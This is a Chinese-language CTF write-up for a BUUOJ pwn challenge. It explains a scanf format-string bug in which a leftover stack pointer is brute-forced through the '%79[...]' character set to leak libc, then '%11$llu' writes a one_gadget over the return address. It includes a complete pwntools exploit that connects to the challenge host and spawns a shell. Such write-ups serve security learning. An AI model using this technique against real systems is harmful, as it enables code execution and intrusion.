printf漏洞的fmtstr见得多了,scanf第一次见
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("Create an account first.");
printf("# of charsets: ");
__isoc99_scanf("%lu", &v5);
getchar();
if ( v5 <= 0x4F )
break;
puts("Too big");
}
printf("charsets: ");
readstr((__int64)v6, v5);
sprintf(s, "%%79[%s]", v6);
printf("password: ");
v4 = __isoc99_scanf(s, s1);
getchar();
if ( v4 == 1 )
break;
puts("Invalid password");
}
puts("Account created. Please input password again to log in.");
printf("password: ");
readstr((__int64)s2, 0x4FuLL);
if ( !strcmp(s1, s2) )
break;
puts("Incorrect");
}
程序先读入一个串,作为字符集合然后用%79[XXXXXX]去读串,成功了就跳出再验证密码,相同时退出。
这里基本看不出问题,问题在于内存的中残存指针
0000| 0x7ffd7d55d600 --> 0x1
0008| 0x7ffd7d55d608 --> 0x10
0016| 0x7ffd7d55d610 AAAAAAAA
0024| 0x7ffd7d55d618 AAAAAAAA
0032| 0x7ffd7d55d620 --> 0x7f0aaa40ba98 --> 0x7f0aaa40b9c8 --> .....
0040| 0x7ffd7d55d628 --> 0x7ffd7d55d768 --> 0x7f0aa9e12b97 (<__libc_start_main+231>) # 11
在输入v6的后边0x10处有个libc+n的指针,再后边是一个指向ret的栈指针
利用:
- 当输入A*0x10后,实然上格式化串就变成 %79[AAA + p64(0x7f0aaa40ba98)] 这个方括号实际上是个集合,也就是得输入集合内的字符才能通过。这时候需要爆破一下有哪6个字符。(遇上A属于不幸运的情况)
- 得到字符集后再将A每次增长1个,也就是覆盖掉1位,哪个找不着了说明哪个是最后一个,依次找到6个字符的顺序,得到libc地址
- 在0x40这个位置(和printf一样的偏移)偏移11 。利用这个指针用%79[A]%11$llu将one_gadget读入到ret的位置
- 最后输入一条正常值,密码验证通过得到shell
这个exp大意都是网上搜的,仅加了注释
from pwn import *
'''
patchelf --set-interpreter ../buuoj_2.27_amd64/ld-2.27.so pwn
patchelf --add-needed ../buuoj_2.27_amd64/libc-2.27.so pwn
'''
local = 0
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 28088)
libc_elf = ELF('../buuoj_2.27_amd64/libc-2.27.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97
elf = ELF('./pwn')
context.arch = 'amd64'
def check(c, offset):
p.sendlineafter(b"# of charsets: ", str(offset).encode())
p.sendafter(b"charsets: ", b'A'*offset)
p.sendafter(b"password: ", bytes([c]))
tmp = p.recv(8, timeout=0.2)
if tmp == b'':
p.send(b'\x00')
p.sendlineafter(b'password: ', b'A')
print('ok:', offset, hex(c))
return True
else:
return False
def leak(offset):
v = set()
for i in range(256):
if i == 0x41:
continue
else:
if check(i, offset):
v.add(i)
print('set:', v)
address = 0
for i in range(6):
for j in v:
if not check(j, offset+i+1): #+1后缺的那个就是最后一位
address += j<<(i*8)
v.remove(j)
break
print('leak:', hex(address))
return address
#context.log_level = 'debug'
'''
0000| 0x7ffd7d55d600 --> 0x1
0008| 0x7ffd7d55d608 --> 0x10
0016| 0x7ffd7d55d610 AAAAAAAA
0024| 0x7ffd7d55d618 AAAAAAAA
0032| 0x7ffd7d55d620 --> 0x7f0aaa40ba98 --> 0x7f0aaa40b9c8 --> .....
0040| 0x7ffd7d55d628 --> 0x7ffd7d55d768 --> 0x7f0aa9e12b97 (<__libc_start_main+231>) # 11
'''
# 在内存中v6+0x10位置有libc+0x61aa98 的残存指针,当输入16个A后会与指针相连,scanf变成如下形式,
# 只要输入值在以下集合内便可成功,可以确定指针含哪个字符
# scanf('%79[AAAAAAAAAA\x20\xd6\x55\x7d\xfd\x7f]')
# 然后将串依次+1,通过缺哪个字符确定字符的顺序
# 利用 offset 11的指向ret的指针将 one_gadget写到ret处
'''
gdb.attach(p)
pause()
'''
libc_base = leak(0x10) - 0x61aa98
print('libc:', hex(libc_base))
num = libc_base + one[0]
print('one:', hex(num))
payload = b'A]%11$llu'
p.sendlineafter(b"# of charsets: ", str(len(payload)).encode())
p.sendafter(b"charsets: ", payload)
p.sendlineafter(b"password: ", b'A'+str(num).encode())
p.sendlineafter(b"# of charsets: ", b'2')
p.sendlineafter(b"charsets: ", b'A')
p.sendlineafter(b"password: ", b'A')
p.sendlineafter(b"password: ", b'A')
p.sendline(b'cat /home/login/flag')
p.interactive()